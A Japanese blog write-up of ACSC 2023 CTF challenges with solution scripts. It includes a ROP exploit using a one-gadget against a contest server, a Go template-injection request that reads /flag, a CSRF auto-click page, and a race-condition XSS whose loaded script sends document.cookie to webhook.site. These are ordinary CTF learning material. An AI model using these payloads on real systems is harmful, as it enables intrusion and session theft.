st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Asian Cyber Security Challenge (ACSC) CTF 2023 writeup

はじめに

ACSC 2023

タイトルはミスではない。今年開催されたACSC 2024のwriteupはすでに書いている。去年のACSC 2023への参加時に、運営への提出用として英語のかんたんwriteupは書いたのだけれども、ちゃんとしたものは書いていないし、そもそも英語版すら公開はしていなかった。それがずっと心残りだったので、かんたんwriteupではある*1が放流したい。

総合順位では19位、eligibleなプレイヤーの中では17位だった。また、日本国内のeligibleなプレイヤーに限っても3位だった。かなり危ない順位だったし、実際当落線上にいて、インドのプレイヤーが参加できていた場合には私はInternational Cybersecurity Challenge(ICC)へ進めなかったはず。ACSC 2023の終了後には沈んでいたのを思い出す。

ICC 2023

サンディエゴで開催されたICC 2023では、チームアジアのスターティングメンバーとして参加し、そのまま1日目のJeopardyも2日目のAttack&Defense(A&D)も終日出ていた。JeopardyはMetaCTFの作問で、writeupの公開が禁止されているのであまり言及できないけれども、エスパー問やらブラックボックス問やらばかりだったという印象がある。

A&Dは面白い問題だったが、あるチームが終盤に「SLAをチェックするためのbotにのみ正規のフラグを返し、botが一度フラグを参照した後は偽フラグを返すようにする」という「対策」を取り始め、運営もそれを許すという有り様だった。なお、A&Dの問題は公開されているのでそちらも参照されたい。

Jeopardyは4位、A&DがICC 2022に引き続き1位で、これらがあわさって総合順位は3位という結果だった。


[Crypto 50] Merkle Hellman (193 solves)

We tired of RSA, try a new cryptosystem by merkle and hellman but we don't know how to decrypt the ciphertext.

We need your help for decrypt the ciphertext to get back my flag.txt!

1文字ずつブルートフォースで暗号化を試して、暗号文と一致していれば場合にその文字を採用するという形で解いた。

#!/usr/bin/env python3
import random
import binascii

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def gcd(a, b): 
    if a == 0: 
        return b 
    return gcd(b % a, a) 

flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
    num = random.randint(s+1,s+256)
    w.append(num)
    s += num

# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
    r = random.randint(100, q)

# Calculate public key
b = []
for i in w:
    b.append((i * r) % q)
    
b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
w, q = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)

flag = b'ACSC{DUMMY}'

c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

# Decrypting
flag = ''
for x in c:
    for f in range(0x20, 0x7f):
        s = 0
        for i in range(7):
            if f & (64>>i):
                s += b[i]
        if s == x:
            flag += chr(f)


print(flag)
ACSC{E4zY_P3@zy}

[Forensics 50] pcap-1 (68 solves)

Here is a packet capture of my computer when I was preparing my presentation on Google Slides. Can you reproduce the contents of the slides?

Note: If you find a "fake flag", submit it here. Some text next to the flag says that it is not accepted, but now it is. There are 2 flags in the challenge, and both are accepted. Part 1 accepts the flag that is easier to get.

USB HIDのパケットが流れているpcapが渡される。1.12.1 がキーボードの入力をしているように見えたので、usb.addr == 1.12.1 && usbhid.data.array.usage でフィルターしつつ手作業でなんとかした。

ACSC{f0r3ns1cs_is_s0_fun}

[Pwn 50] Vaccine (115 solves)

Give me the correct vaccine to view my secret

nc vaccine.chal.ctf.acsc.asia 1337
nc vaccine-2.chal.ctf.acsc.asia 1337 (Backup)

単純なBOFがあり、これでRIPが奪える。

$ echo -en "\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCC" > input

ということで、次のような手順のexploitを書く。

  1. puts のアドレスをリークさせて、libcのベースアドレスを計算する
  2. main へ飛ばしてもう一度BOF(ret2vuln)
  3. One-Gadget RCEへ飛ばす

できあがったexploitがこちら。

from pwn import *
elf = ELF('./vaccine')
libc = ELF('./libc-2.31.so')

pop_rdi = 0x401443
pop_rsi_r15 = 0x401441

s = remote('vaccine.chal.ctf.acsc.asia', 1337)

###

s.recvuntil(b'Give me vaccine: ')

payload1 = b'\x00' + b'A' * 111
payload1 += b'\x00' + b'A' * 111
payload1 = payload1.ljust(264, b'B')

payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts'])
payload1 += p64(elf.symbols['puts'])

payload1 += p64(elf.symbols['main'])

s.sendline(payload1)
s.recvline()
s.recvline()

addr = s.recvline()[:-1]
puts = u64(addr.ljust(8, b'\0'))
libc_base = puts - libc.symbols['puts']

###

s.recvuntil(b'Give me vaccine: ')

payload2 = b'\x00' + b'A' * 111
payload2 += b'\x00' + b'A' * 111
payload2 = payload2.ljust(264, b'B')

payload2 += p64(libc_base + 0xe3b01) # One-Gadget RCE 

payload2 += p64(pop_rdi)
payload2 += p64(0)
payload2 += p64(elf.symbols['exit'])

s.sendline(payload2)

s.interactive()
ACSC{RoP_3@zy_Pe4$y}

[Rev 80] serverless (109 solves)

I made a serverless encryption service. It is so serverless that you should host it yourself.

I encrypted the flag with "acscpass" as the password, but have not finished implementing the decryption feature. Help me decrypt the flag!

MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy

いい感じにメッセージを暗号化できるアプリが渡される。

難読化されたJSで実装されており、これを気合で読んで復号のためのスクリプトを書く必要がある。気合で読むと言っても大した行数ではないので、比較的簡単に読める。RSAとXORの組み合わせだというのは読むとすぐわかる。

import binascii
import base64
from Crypto.Util.number import inverse
from pwn import *

g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287]
h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397]

password = b'acscpass'
encrypted = b'MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy'

encrypted = list(int(x) for x in base64.b64decode(encrypted).decode().split(','))
encrypted = list(xor(encrypted[::-1], password))

encrypted = encrypted[::-1]
j, k, s = encrypted[:3]
c = int(''.join([hex(x)[2:].zfill(2) for x in encrypted[3:]]), 16)

p = g[j]
q = h[k]
e = (2 ** (2 ** s)) + 1

n = p * q
d = inverse(e, (p - 1) * (q - 1))
m = hex(pow(c, d, n))[2:]
print(binascii.unhexlify(m))
ACSC{warmup_challenge_so_easy}

[Rev 120] ngo (48 solves)

https://www.youtube.com/watch?v=R0JWMtr7oDw

PEファイルが渡される。実行するとフラグをちょっとずつ出力してくれるけれども、徐々にそのスピードが遅くなる。

>ngo.exe
The flag is "ACSC{yUhFgR

フラグの出力処理はこんな感じ。(これは自分で名付けた関数名だが) aa_ayashii_func が復号のための鍵ストリーム的な役割を果たしているっぽいとわかる。この aa_ayashii_func の呼び出し回数が 42^i 回とループごとに増えていくのが重くなる原因っぽい。

__int64 aa_print_flag()
{
  unsigned __int64 j; // [rsp+28h] [rbp-18h]
  char v2; // [rsp+33h] [rbp-Dh]
  int i; // [rsp+34h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  sub_140001780();
  maybe_puts("The flag is \"ACSC{");
  v4 = 1LL;
  for ( i = 0; i <= 11; ++i )
  {
    for ( j = 0LL; j < v4; ++j )
      v2 = aa_ayashii_func();
    maybe_putchar((unsigned int)(char)(v2 ^ encrypted_flag[i]));
    v4 *= 42LL;
  }
  maybe_puts("}\".\n");
  return 0LL;
}

aa_ayashii_func はこういう感じ。シンプルだ。x は当然グローバル変数で、初期値は 0x3d2964f0 になっている。ここで返り値が unsigned int と32ビットであることに気づく。つまり、周期は計算可能な程度に小さいはず。

__int64 aa_ayashii_func()
{
  int v1; // [rsp+8h] [rbp-8h]

  v1 = x & 1;
  x = (unsigned int)x >> 1;
  x ^= -v1 & 0x80200003;
  return (unsigned int)x;
}

この鍵ストリームの周期は(たしか) 0xffffffff だった。復号用のコードを書く。

#include <stdio.h>

unsigned char encrypted_flag[] = {
    1, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xd7, 0x81, 0x21
};

int main(void) {
    long long int v4 = 1;
    unsigned int x = 0x3D2964F0;
    int v1;
    printf("ACSC{");
    for (int i = 0; i <= 11; i++) {
        for (unsigned j = 0; j < (v4 % 0xffffffff); j++) {
            v1 = x & 1;
            x = (unsigned int)x >> 1;
            x ^= -v1 & 0x80200003;
        }

        unsigned char c = x ^ encrypted_flag[i];
        printf("%c", c);
        v4 *= 42;
    }
    puts("}");
}
ACSC{yUhFgRvQ2Afi}

[Hardware 100] Hardware is not so hard (50 solves)

I have captured communication between a SD card and an embedded device. Could you extract the content of the SD Card? It's in SPI mode.

SDカードの読み書きをしている様子をキャプチャしたものが与えられる。

まずここらへんを見る:

読まれているアドレスでソートし、くっつける。

import binascii

s = """
...
"""

def f(x):
    if x[:24] == 'ffffffffffffffffffffffff':
      return x[24:]
    elif x[:18] == 'ffffffffffffffffff':
      return x[18:]
    elif x[:12] == 'ffffffffffff':
      return x[12:]
    return x

ss = [(s[i].split(' : ')[1], s[i+2].split(' : ')[1]) for i in range(0, len(s), 3)]
ss = [(int(x[0][2:], 16), binascii.unhexlify(x[1][x[1].find('fe')+2:-4])) for x in ss]
ss = list(sorted(ss, key=lambda x: x[0]))
print(ss)

with open('a.jpg', 'wb') as f:
   for x in ss:
       f.write(x[1])
ACSC{1tW@sE@syW@snt1t}

[Web 120] Admin Dashboard (66 solves)

I built my first website, admin dashboard with bootstrap and PHP!
Feel free to try it! Hope there is no bug..

/addadmin に対しCSRFさせるスクリプトをadmin botに踏ませることでadminであるユーザを増やそうにも、以下のようにCSRFトークンがある。また、ログイン状態を保持するCookieは SameSite 属性でLaxが指定されているためにやや厳しそうだが、a 要素のリンクを踏ませる場合ならばほかのオリジンからのアクセスでもCookieは飛ぶし、/addadmin はGETで受け付けてくれるから、それで問題ない。

$_REQUEST['csrf-token'] === gmp_strval($_SESSION['X'],16)

CSRFトークンは次のようにLCGで実装されているので、実は推測可能だ。適当なスクリプトを使って(mitsuさんありがとう!)LCGに関連するパラメータを突き止めると、A39238395068069510873877941548003979614 で、C163462177865055857243861130640161174000 であるとわかった。

<?php$sql = "SELECT * FROM secrets";
    $stmt = $conn->prepare($sql);
    $stmt->execute();
    $result = $stmt->get_result();
    $row = $result->fetch_assoc();
    if($row){
        $A = gmp_import($row['A']);
        $C = gmp_import($row['C']);
        $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
    }
    if (!isset($_SESSION['X'])){
        $X = gmp_import($_SESSION["user"]["username"]);
        $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
        $_SESSION["token-expire"] = time() + 30; 
    }else{
        if(time() >= $_SESSION["token-expire"]){
            $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
            $_SESSION["token-expire"] = time() + 30; 
        }
    }

あとはやるだけ。次のWebページを通報すればadminになれる。

<a href="http://localhost/addadmin?username=nekochan22&password=nekochan&csrf-token=1fe69abb084e42434627a84405d722e0" id="a">aaa</a>
<script>
document.getElementById('a').click()
</script>
ACSC{C$rF_15_3VerYwh3Re!}

[Web 200] easySSTI (42 solves)

Can you SSTI me?

service
service (Backup)

GolangのSSTIで /flag を読み出せという問題。ただし、WAFが挟まっていて、/ACSC\{.*\}/ がレスポンスに含まれていると怒られる。フレームワークはEchoが使われていて、テンプレートの方は標準の html/template が使われている。つまり、PythonやJSのように簡単にRCEに持ち込めるわけではないが、Echoの何かしらは使えそうかなというところ。

ドキュメントとにらめっこしつつ、有用なものがないか探す。かなり候補が多くて、当時のメモもこの問題の調査をしている部分がかなり長くなっている。

正解は .Echo.Filesystem.Open.Get "template" で適当に []byte を調達してきつつ叩いてやればよい。

$ curl -i http://easyssti.chal.ctf.acsc.asia:8000/ -H 'Template: {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }}{{ . }}'
HTTP/1.1 200 OK
content-type: text/html; charset=UTF-8
date: Sat, 25 Feb 2023 23:55:47 GMT
content-length: 354
Connection: keep-alive
Keep-Alive: timeout=72

26{0xc0000bc400 0xc0003500c0 / [] [] map[] 0x7aee80 map[template:[65 67 83 67 123 104 48 119 95 100 105 100 95 121 48 117 95 108 101 97 107 95 109 101 125 10 34 47 102 108 97 103 34 41 46 82 101 97 100 32 40 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 41 32 125 125 123 123 32 46 32 125 125]] 0xc0001206c0 &lt;nil&gt; {{0 0} 0 0 {{} 0} {{} 0}}}
ACSC{h0w_did_y0u_leak_me}

[Web 250] Gotion (9 solves)

Gotion is yet another simple secure note service. You might have seen these kind of applications many times before, but try this one!

service Please use backup for now
service (Backup)

XSSに持ち込むのが目的の、Notion的なWebアプリ。何を入力してもエスケープされるので一見セキュアだが、nginxのキャッシュ周りの設定がかなり怪しくなっていて、というよりわざわざ設定しているのが怪しい。

    location ~ .mp4$ {
        # Smart and Efficient Byte-Range Caching with NGINX
        # https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/
        proxy_cache mycache;
        slice              4096; # Maybe it should be bigger?
        proxy_cache_key    $host$uri$is_args$args$slice_range;
        proxy_set_header   Range $slice_range;
        proxy_http_version 1.1;
        proxy_cache_valid  200 206 1h;
        proxy_pass http://app:3000;
    }

Gotionにはメモの更新機能があるのだけれども、ガチャガチャ試しているうちに、同じタイミングで同じメモに対して、31文字と97文字というように長さの異なる2つの内容での更新を試したところ、次のようにHTMLが壊れだした。

  <textarea name="body" clapiy444444444444444444444444444444444o</textarea>
          <label for="floatingTextarea">note</label>
        </div>
        <div class="col-12">

メモは以下のようにファイルとして保存されている。書き込みタイミングが重なったことでRace Conditionを起こせたらしい。

const (
    PublicDir    = "./public"
    NoteBaseDir  = "./notes"
    NoteTemplate = "./templates/note.html"
)

func WriteNote(file *os.File, body NoteParam) {
    body.RecaptchaSiteKey = os.Getenv("RECAPTCHA_SITEKEY")

    tmpl, err := template.ParseFiles(NoteTemplate)
    if err != nil {
        panic(err)
    }

    err = tmpl.Execute(file, body)
    if err != nil {
        panic(err)
    }
}

// …

func GetNotePath(noteId string) (string, string) {
    notePublicPath := filepath.Join(NoteBaseDir, noteId)
    noteFilePath := filepath.Join(PublicDir, notePublicPath)

    return noteFilePath, notePublicPath
}

文字数の調整を行って、ちょうどHTMLタグの属性部分に autofocus, onfocus, contenteditable の3種の神器が挿入されるような組み合わせを探す。次のようにするといい感じに仕込めた。

#!/bin/bash
gg() { curl 'http://gotion.chal.ctf.acsc.asia/update-note' \
…
  -H 'Content-Type: application/x-www-form-urlencoded' \
…
  --data-raw 'noteId=9cd8c090-6b47-4943-b381-9e1b1e40a850-abc&title='"$1"'&body='"$2" \
  --compressed; }


gg b "                            autofocus onfocus=import(String.fromCharCode(47,47,…,58,56,48,48,49)) contenteditable               " & \
gg aaaaaaaaaaaaaaaaaaaa "         autofocus onfocus=import(String.fromCharCode(47,47,…,58,56,48,48,49)) contenteditable               " &
  <div class="container">
    <div class="card mt-5">
      <div class="card-body">
        <h4 b</h4>
        <prea                            autofocus          autofocus onfocus=import(String.fromCharCode(47,47,…,58,56,48,48,49)) contenteditable               </pre>
      </div>
    </div>

これでXSSに持ち込めた。あとは import で読み込まれるJSコードを変更するだけ。

<?php
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/javascript');
?>
navigator.sendBeacon('https://webhook.site/…', document.cookie)
alert(123)
ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus}

作問者のwriteupで想定解法が紹介されている。

*1:問題についての記憶が薄れている今ちゃんとしたwriteupを書くというのも、一度解いているとはいえ、ほとんど改めて問題を解き直すようなもので面倒なので…